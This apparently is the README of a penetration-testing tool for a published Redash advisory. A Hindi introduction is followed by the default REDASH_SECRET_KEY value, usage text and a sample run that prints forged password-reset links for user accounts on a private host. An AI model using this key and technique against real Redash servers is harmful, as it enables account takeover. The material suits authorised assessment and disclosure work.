
Redash की कमजोर गुप्त कुंजी भेद्यता (GHSA-g8xr-f424-h2rv) का शोषण करके किसी भी उपयोगकर्ता के लिए पासवर्ड रीसेट लिंक उत्पन्न करें, जिससे सुरक्षा मूल्यांकन के दौरान खाता अधिग्रहण संभव हो सके।
यह एक डिफ़ॉल्ट REDASH_SECRET_KEY कुंजी c292a0a3aa32397cdb050e233733900f का उपयोग करेगा जो आपको उपयोगकर्ता ID का पासवर्ड रीसेट करने की अनुमति देता है, लेकिन आपको इससे जुड़ा ईमेल पता जानना होगा।
https://github.com/getredash/redash/security/advisories/GHSA-g8xr-f424-h2rv
pip install -r requirements.txt
usage: redash.py [-h] [-s SECRET] -u URL [-p PROXY]
optional arguments:
-h, --help show this help message and exit
-s SECRET, --secret SECRET
Weak REDASH_SECRET_KEY
-u URL, --url URL URL of host to check will need http or https
-p PROXY, --proxy PROXY
Proxy for debugging
[2021-11-29T15:44:27Z] root@MBP-3623:/tmp$ python3 test.py -u http://192.168.1.170
Rest Link http://192.168.1.170/reset/IjEi.YaT1sQ.e6w1vMsG-gx0OVT0qV5aH_aI7IA - UserID: 1
http://192.168.1.170/reset/IjIi.YaT1sQ.j67-OQljn2ivQiyw9Y9wa7G6GY0
Failed to Generate Reset Link for 2